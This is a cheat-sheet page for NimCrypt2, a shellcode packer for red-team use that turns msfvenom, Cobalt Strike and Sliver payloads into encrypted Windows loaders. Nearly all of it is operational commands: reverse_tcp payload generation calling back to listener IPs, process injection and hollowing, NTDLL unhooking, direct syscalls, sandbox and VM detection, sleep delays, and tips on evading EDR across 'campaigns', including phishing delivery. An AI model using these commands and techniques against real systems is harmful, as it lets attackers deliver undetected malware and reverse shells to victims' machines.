コンテンツにスキップ

NimCrypt2

NimCrypt2 is a post-exploitation framework written in Nim that encrypts shellcode and packs PE files with multiple evasion techniques including AES encryption, direct syscalls, NTDLL unhooking, and sandbox detection. It’s designed to bypass EDR solutions and deliver payloads undetected on Windows systems.

Install Nim compiler and build tools:

# On Windows with Chocolatey
choco install nim mingw

# On macOS with Homebrew
brew install nim

# On Linux, use your package manager or download from nim-lang.org
apt-get install nim gcc mingw-w64
# Clone the NimCrypt2 repository
git clone https://github.com/icyguider/NimCrypt2.git
cd NimCrypt2

# Install Nim dependencies via nimble
nimble install -d

# Build the tool
nim c -d:release src/NimCrypt2.nim
# Output: NimCrypt2.exe in current directory
# Debug build (faster compilation, larger binary)
nim c -d:debug src/NimCrypt2.nim

# Release build (optimized, smaller binary, slower to compile)
nim c -d:release --opt:size src/NimCrypt2.nim

# Cross-compile for x64 from x86 build
nim c -d:release --cpu:amd64 src/NimCrypt2.nim
# Encrypt shellcode and create loader executable
NimCrypt2.exe -f shellcode.bin -o output.exe

# With all evasion techniques enabled
NimCrypt2.exe -f shellcode.bin -o output.exe -e AES -u -s -sleep 5000

Create shellcode payloads from various frameworks:

# Metasploit Framework
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin

# CobaltStrike aggressor script output to file
# beacon> rportfwd [port] [ip] [port]
# Save beacon shellcode as SC.bin

# Sliver C2 (open-source Cobalt Strike alternative)
sliver > generate --mtls 192.168.1.100:8888 --save-to shellcode.bin
OptionPurposeExample
-f <file>Path to raw shellcode file (required)-f payload.bin
-t <process>Target process name for injection-t svchost.exe
-rEnable remote thread injection-r
-m <addr>Manual base address override-m 0x140000000
# From Metasploit
NimCrypt2.exe -f meterpreter.bin -o loader.exe

# From CobaltStrike (stageless)
NimCrypt2.exe -f beacon.bin -o stager.exe -t explorer.exe

# From manual shellcode dump
NimCrypt2.exe -f custom_payload.bin -o custom.exe
# Default AES-CTR encryption
NimCrypt2.exe -f shellcode.bin -o output.exe -e AES

# AES with custom key (auto-generated if not specified)
# Key is embedded in compiled binary automatically
NimCrypt2.exe -f shellcode.bin -o output.exe -e AES -k 32
# XOR encryption (faster, smaller file)
NimCrypt2.exe -f shellcode.bin -o output.exe -e XOR

# Multi-pass XOR
NimCrypt2.exe -f shellcode.bin -o output.exe -e XOR -k 4
# Nim code for custom key generation (advanced)
import nimcrypto

let key = newSeq[byte](32)
# Key automatically embedded during compilation
# Inject into current process
NimCrypt2.exe -f shellcode.bin -o output.exe

# Allocate memory, write shellcode, execute
# Uses NtAllocateVirtualMemory → NtWriteVirtualMemory → NtCreateThreadEx
# Inject into remote process (e.g., explorer.exe)
NimCrypt2.exe -f shellcode.bin -o output.exe -t explorer.exe

# Inject with specific target by PID (if supported)
NimCrypt2.exe -f shellcode.bin -o output.exe -t 1234
# Create remote thread in target process
NimCrypt2.exe -f shellcode.bin -o output.exe -t svchost.exe -r

# Execution flow:
# 1. Open target process handle
# 2. Allocate RWX memory remotely
# 3. Write encrypted shellcode
# 4. Decrypt in-memory
# 5. Create remote thread pointing to shellcode
# Replace legitimate process image (if supported in build)
NimCrypt2.exe -f shellcode.bin -o output.exe -t notepad.exe -hollow

NimCrypt2 uses direct syscall invocation to bypass EDR hooks:

# Core syscalls utilized by NimCrypt2:
# NtAllocateVirtualMemory - allocate executable memory
# NtWriteVirtualMemory - write shellcode to memory
# NtCreateThreadEx - create execution thread
# NtProtectVirtualMemory - change memory protection flags
# NtQueryVirtualMemory - query memory properties
# Compiled directly into binary with no IAT entries
# EDRs cannot hook what doesn't appear in import tables

# Syscalls dynamically resolved at runtime via SSN (Syscall Service Number)
# Survives NTDLL instrumentation and hooking attempts
# Generated executable contains NO standard Windows API imports
# GetProcAddress/LoadLibrary calls eliminated
# All syscalls embedded directly in compiled Nim code
# Replace hooked NTDLL with clean copy from disk
NimCrypt2.exe -f shellcode.bin -o output.exe -u

# Process:
# 1. Load NTDLL from disk into new section
# 2. Replace in-memory NTDLL with disk copy
# 3. Bypass EDR kernel callbacks
# 4. Execute via clean syscall stubs
# Check if NTDLL is hooked (in generated code)
proc isHooked(addr: pointer): bool =
  # Examine first bytes of function
  # Look for JMP/CALL instructions (indicators of hooks)
  true
# Activate all sandbox checks before execution
NimCrypt2.exe -f shellcode.bin -o output.exe -s

# Checks performed:
# - Domain join status (skip if workgroup)
# - Processor core count (fail if < 2)
# - Physical memory (fail if < 4GB)
# - Username anomalies (skip if "WDAGUtility" or "Guest")
# - Registry artifacts (Hyper-V, VMware, VirtualBox)
# - Disk size checks (fail if < 30GB)
# Domain check only
NimCrypt2.exe -f shellcode.bin -o output.exe -sandbox-domain

# Memory check only
NimCrypt2.exe -f shellcode.bin -o output.exe -sandbox-memory

# Username check only
NimCrypt2.exe -f shellcode.bin -o output.exe -sandbox-user
# Example check (pseudo-code)
if getProcessorCount() < 2:
  quit()  # Exit if less than 2 cores (likely VM)

if getTotalMemory() < 4 * 1024 * 1024 * 1024:
  quit()  # Exit if less than 4GB RAM
# Sleep 5 seconds before executing shellcode
NimCrypt2.exe -f shellcode.bin -o output.exe -sleep 5000

# Measured in milliseconds
# 1000 = 1 second, 60000 = 1 minute
NimCrypt2.exe -f shellcode.bin -o output.exe -sleep 30000

Defeats automated malware analysis by delaying execution:

# Sleep through detection window in sandbox
# 30-60 second delay bypasses typical 10-20s analysis timeout
NimCrypt2.exe -f shellcode.bin -o output.exe -sleep 60000 -u -s
# Generate standalone EXE (default)
NimCrypt2.exe -f shellcode.bin -o payload.exe

# Generate DLL (if supported)
NimCrypt2.exe -f shellcode.bin -o payload.dll -format dll

# Generate reflective DLL
NimCrypt2.exe -f shellcode.bin -o payload.dll -format reflective
# Specify output directory
NimCrypt2.exe -f shellcode.bin -o C:\temp\loader.exe

# Output with custom entrypoint name
NimCrypt2.exe -f shellcode.bin -o output.exe -entry main
# Generate Meterpreter shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meter.bin

# Encrypt and pack with NimCrypt2
NimCrypt2.exe -f meter.bin -o agent.exe -e AES -u -s -sleep 5000

# Execute on target
# agent.exe → connects to 10.10.10.10:4444
# Export beacon from CobaltStrike as raw shellcode
# Artifact Kit → set format to "raw"

# Process with NimCrypt2
NimCrypt2.exe -f beacon.bin -o evasive_beacon.exe -e AES -u -t svchost.exe -r

# Deliver via initial access method
# Phishing → payload.exe → reverse shell
# Generate Sliver implant
sliver > generate --mtls 192.168.1.100:8888

# Extract shellcode
# sliver > generate --save-to sliver.bin --format shellcode

# Package with NimCrypt2
NimCrypt2.exe -f sliver.bin -o sliver_loader.exe -e AES -u -s
# Convert BOF to shellcode first
# BOF → shellcode conversion tool required

NimCrypt2.exe -f bof_payload.bin -o bof_loader.exe -r -t explorer.exe
IssueCauseSolution
”Invalid shellcode file”File doesn’t exist or wrong pathVerify file path and use absolute paths
Compilation errorsNim not installedRun choco install nim or use package manager
EDR still detectingEvasion techniques inactiveUse -e AES -u -s -sleep 5000 flags together
”Sandbox detected”Running in VMTest on bare-metal machine or disable -s flag
Output EXE won’t executeShellcode format incorrectVerify shellcode with msfvenom -p windows/x64/shell_reverse_tcp
NTDLL unhooking failsSystem DLL corruptedRun on patched system or skip -u flag
Process injection timeoutTarget process terminatingUse more stable target like svchost.exe
# "nim: command not found"
# Solution: Add Nim to PATH or reinstall

# "error: undeclared identifier"
# Solution: Run 'nimble install -d' to fetch missing dependencies

# "compilation hangs"
# Solution: May be normal for release builds - wait 10-30 minutes
  • Always test payloads in isolated lab environment first
  • Use different encryption keys for each campaign
  • Rotate shellcode generators between operations
  • Implement sleep obfuscation in all production payloads
  • Combine NTDLL unhooking with direct syscalls for maximum evasion
  • Never run generated payloads on your own machine
# Layer multiple evasion techniques
NimCrypt2.exe -f shellcode.bin -o final.exe \
  -e AES \
  -u \
  -s \
  -sleep 15000 \
  -t svchost.exe \
  -r
  • Vary command-line arguments between campaigns
  • Randomize sleep duration (avoid predictable patterns)
  • Use process injection into legitimate Windows processes
  • Implement junk code and string obfuscation at Nim level
  • Monitor your tool’s detection rate on VirusTotal
# Verify shellcode format before packing
file shellcode.bin  # Should be "data"

# Test on isolated VM with AV disabled first
# Then test with real EDR products installed

# Verify execution with Wireshark or netcat listener
nc -lvnp 4444  # Wait for reverse shell callback
ToolPurposeComparison
ScareCrowShellcode loader with IAT/syscall obfuscationSimilar evasion, older maintenance
FreezeProcess image encryption and obfuscationMore obfuscation, less flexible injection
PEzorPE packer with NTDLL unhookingBash-based, similar feature set
DonutIn-memory .NET assembly loaderFor .NET payloads, different use case
shhhloaderShellcode loader with advanced obfuscationNewer project, similar goals
Themida/WinLicenseCommercial PE packerProfessional-grade, cost-prohibitive
ConfuserEx.NET obfuscatorFor managed code only
  • NimCrypt2: Flexible shellcode encryption with direct syscall support
  • ScareCrow: Legacy campaigns, simpler requirements
  • Freeze: Maximum obfuscation for long-running implants
  • PEzor: Bash-compatible build pipelines
  • Donut: When payload is .NET executable or PowerShell